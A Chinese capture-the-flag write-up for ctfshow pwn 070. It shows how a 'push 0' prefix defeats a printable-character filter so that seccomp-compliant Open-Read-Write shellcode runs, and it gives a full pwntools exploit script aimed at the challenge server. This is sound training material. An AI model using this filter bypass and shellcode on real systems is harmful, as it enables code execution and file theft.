本文仅用于技术研究,禁止用于非法用途。

Author: 枷锁

在经历了 pwn 069 的 Seccomp 沙盒洗礼后,我们已经熟悉了如何使用 ORW (Open-Read-Write) 链来代替被封杀的 execve。但在 pwn 070 中,防御者不仅布下了层层沙盒,还在入口处加装了一道“安检门”—— is_printable 字符可见性校验。

这道题的精髓在于:如何用一行极简的汇编指令,既完成 Shellcode 的逻辑铺垫,又顺手“蒙蔽”安检系统的双眼? 让我们一起来揭开这段“神之一手”的底牌。

第一部分:环境侦察与防御边界建模

1. 检查保护机制 (checksec vs IDA)

首先,对目标 64 位程序进行防御基准评估:

image-20260411145219285

~/Desktop .............................................................. at 22:30:00
> checksec pwn
[*] '/home/shining/Desktop/pwn'
    Arch:       amd64-64-little                <-- 64 位核心架构
    RELRO:      Partial RELRO
    Stack:      No canary found                <-- 【注意:存在检测欺骗】
    NX:         NX unknown - GNU_STACK missing <-- 核心突破口:栈具备执行权 (RWX)
    PIE:        No PIE (0x400000)              <-- 基址固定

防御假象揭秘: checksec 报告显示 No canary found,但在后续的 IDA 逆向中,我们会在函数开头清晰地看到 mov rax, fs:28h(Canary 栈哨兵的标志性指令)。这说明程序实际上开启了栈保护。 但幸运的是,本题的执行流并不依赖于栈溢出覆盖返回地址。程序在校验通过后,会主动将控制权交给我们的缓冲区(call rax),因此 Canary 保护在这里形同虚设。

2. 沙盒限制分析

通过汇编中的 call set_secommp 以及题目的官方提示,我们可以断定程序通过 Seccomp 禁用了 execve 族函数。提权的唯一路径是使用 openreadwrite 系统调用直接读取 Flag 文件。

第二部分:代码审计与漏洞模型建立

1. 汇编代码流拆解 (IDA Pro)

进入 main 函数的核心执行流,防守方的逻辑如下:

image-20260411145306691

; 1. 读取输入
.text:0000000000400AC1                 lea     rax, [rbp+s]
.text:0000000000400AC5                 mov     edx, 64h        ; 最大允许读取 100 字节
.text:0000000000400ACA                 mov     rsi, rax        ; 存入局部缓冲区 s
.text:0000000000400ACD                 mov     edi, 0          ; fd = stdin
.text:0000000000400AD7                 call    _read           ; 执行读取,返回实际字节数至 eax

; 2. 【核心细节:回车符消除机制】
.text:0000000000400ADC                 sub     eax, 1          ; eax = 读取长度 - 1
.text:0000000000400AE1                 mov     [rbp+rax+s], 0  ; 将最后一个字节强制替换为 \x00

; 3. 字符可见性校验
.text:0000000000400AE6                 lea     rax, [rbp+s]
.text:0000000000400AED                 call    is_printable    ; 检查缓冲区是否全为可见字符
.text:0000000000400AF2                 test    eax, eax
.text:0000000000400AF4                 jz      short loc_400AFE ; 校验失败,跳转报错并退出

; 4. 执行控制流劫持 (The Vulnerability)
.text:0000000000400AF6                 lea     rax, [rbp+s]
.text:0000000000400AFA                 call    rax             ; 校验通过,直接将缓冲区作为代码执行!

2. 漏洞建模:C 语言的字符串截断盲区

在上述看似严密的防御网中,存在两个致命的逻辑盲区:

盲区 1:is_printable 的空字符截断 C 语言处理字符串时,默认将 \x00(空字符)作为绝对的结束标志。如果 is_printable 内部是基于标准字符串遍历逻辑(如 while(*p)),那么只要它扫描到 \x00,就会立即判定字符串结束并返回校验通过。

盲区 2:危险的 read 尾部置零 程序在 read 后执行了 buf[eax - 1] = 0。这是开发者为了抹除用户敲击的回车符 \n 而设计的“贴心”逻辑。这意味着:如果我们在发送 Payload 时没有追加换行符,Shellcode 的最后一个合法机器码就会被强制覆写成 \x00,从而导致指令损坏崩溃。

第三部分:破局思路:“神之一手” push 0

既然 ORW Shellcode 中必然包含大量不可见机器码(如 syscall0f 05),我们如何绕过这道“安检门”?

战术核心:利用原子汇编指令的巧合 我们需要在 Shellcode 的首部,注入一条自身属于“可见字符”,同时又能产生 \x00 以欺骗校验函数的指令。在 64 位汇编中,push 0 是堪称完美的破局之匙:

push 0  ; 对应的底层机器码为: 6A 00
  • 首字节 6A:ASCII 码对应小写字母 j,完美通过可见字符的初次校验!
  • 次字节 00:即 \x00。当 is_printable 检查完 j 后,指针紧接着滑入 \x00,校验逻辑瞬间判定字符串结束,随即放行后续数百字节的非法 Payload!

更绝妙的连招: 我们要执行 open("/flag", 0),按照 64 位系统调用约定,必须将 /flag\x00 这个完整路径压入栈中。而 push 0 刚好在栈顶为我们预置了一个现成的字符串结束符(Null Terminator)!一石三鸟,设计极具艺术感。

第四部分:Payload 内存结构可视化

为了直观理解这套战术,我们来看看 Payload 在内存中的真实排列方式:

地址增长方向 --->
+-----------+-----------+------------------------------------------------+
|  字节 0   |  字节 1   |  字节 2 ~ 字节 N (不可见机器码)                  |
+-----------+-----------+------------------------------------------------+
|    6A     |    00     | 49 ba 2f 66 6c 61 67 00 00 00 41 52 ...        |
+-----------+-----------+------------------------------------------------+
| 'j' (可见)|   \x00    | <--- 真实的 ORW 提权载荷 (Real Shellcode)   ---> |
+-----------+-----------+------------------------------------------------+
     |           |
     |           +---> 校验函数 is_printable 在此短路退出,判定为“合法”
     +---> CPU 连同后方机器码解析为: push 0 ; mov r15, 0x67616c662f ...

第五部分:实战 EXP 编写与详解

为了解决 ORW 执行后内存失控导致的 Core Dump 崩溃,并彻底剥离无关的乱码,我们引入 shellcraft 构建底层指令,并追加 exit(0),最后使用 Python 正则表达式精准提取目标。

from pwn import *
import re

# 1. 基础配置
context(arch='amd64', os='linux', log_level='debug')

# 2. 建立靶机连接
# io = process('./pwn')
io = remote('pwn.challenge.ctf.show', 28175)

# 3. 构造内嵌“安检旁路”的 ORW Shellcode
# 巧妙利用 push 0 (6a 00) 的机器码特性绕过 is_printable 校验
shellcode_asm = "push 0\n"                            # 6a 00:安检逃逸,栈截断铺垫
shellcode_asm += shellcraft.open('/flag')             # SYS_open("/flag")
shellcode_asm += shellcraft.read('rax', 'rsp', 0x100) # 将读取的内容暂存入当前栈顶
shellcode_asm += shellcraft.write(1, 'rsp', 0x100)    # 将栈顶数据输出至屏幕
shellcode_asm += shellcraft.exit(0)                   # 优雅退出,防止非法指令引发 Core Dump

shellcode = asm(shellcode_asm)

# 4. 执行注入
io.recvuntil(b"Welcome,tell me your name:\n")

# 【防破坏机制】:必须使用 sendline 而非 send
# 针对程序中 buf[eax - 1] = 0 的截断逻辑。
# sendline 自动追加的 '\n' 刚好充当了程序的“替死鬼”,保护了 Shellcode 尾部指令不被破坏。
log.info("[*] 发送带截断特效的 ORW Shellcode...")
io.sendline(shellcode)

# 5. 接收果实与精准提取
# 注意:ORW 载荷的作用是单向输出文件,无法提供交互式 Shell
log.success("[+] 正在捕获 ORW 输出的数据流...")
# recvall 接收直到程序退出(因为我们写了 exit(0))
flag_output = io.recvall(timeout=2).decode(errors='ignore')

# 剔除因为 write(0x100) 产生的多余栈内存乱码,精准命中 flag 字符串
match = re.search(r'ctfshow\{.*?\}', flag_output)
if match:
    print("\n\033[1;32m[+] 完美捕获 Flag:\033[0m")
    print(match.group(0))
else:
    print("\n[?] 未找到 Flag,请检查原始数据流:")
    print(flag_output)

image-20260411145358049

第六部分:总结

pwn 070 是一个极具教学意义的实战模型。它告诉我们: 在二进制对抗中,汇编指令不仅是让 CPU 执行的动作指令,也是在内存中流淌的数据。 学会利用数据的“双重身份”制造认知偏差,是每一位高阶二进制研究者的必修课。

宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!

1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。

2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。

3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。

4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。

5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。

6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。

7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:

✅ 先授权,再测试

✅ 只针对自己拥有或有权测试的系统

✅ 发现漏洞后,及时报告并协助修复

✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐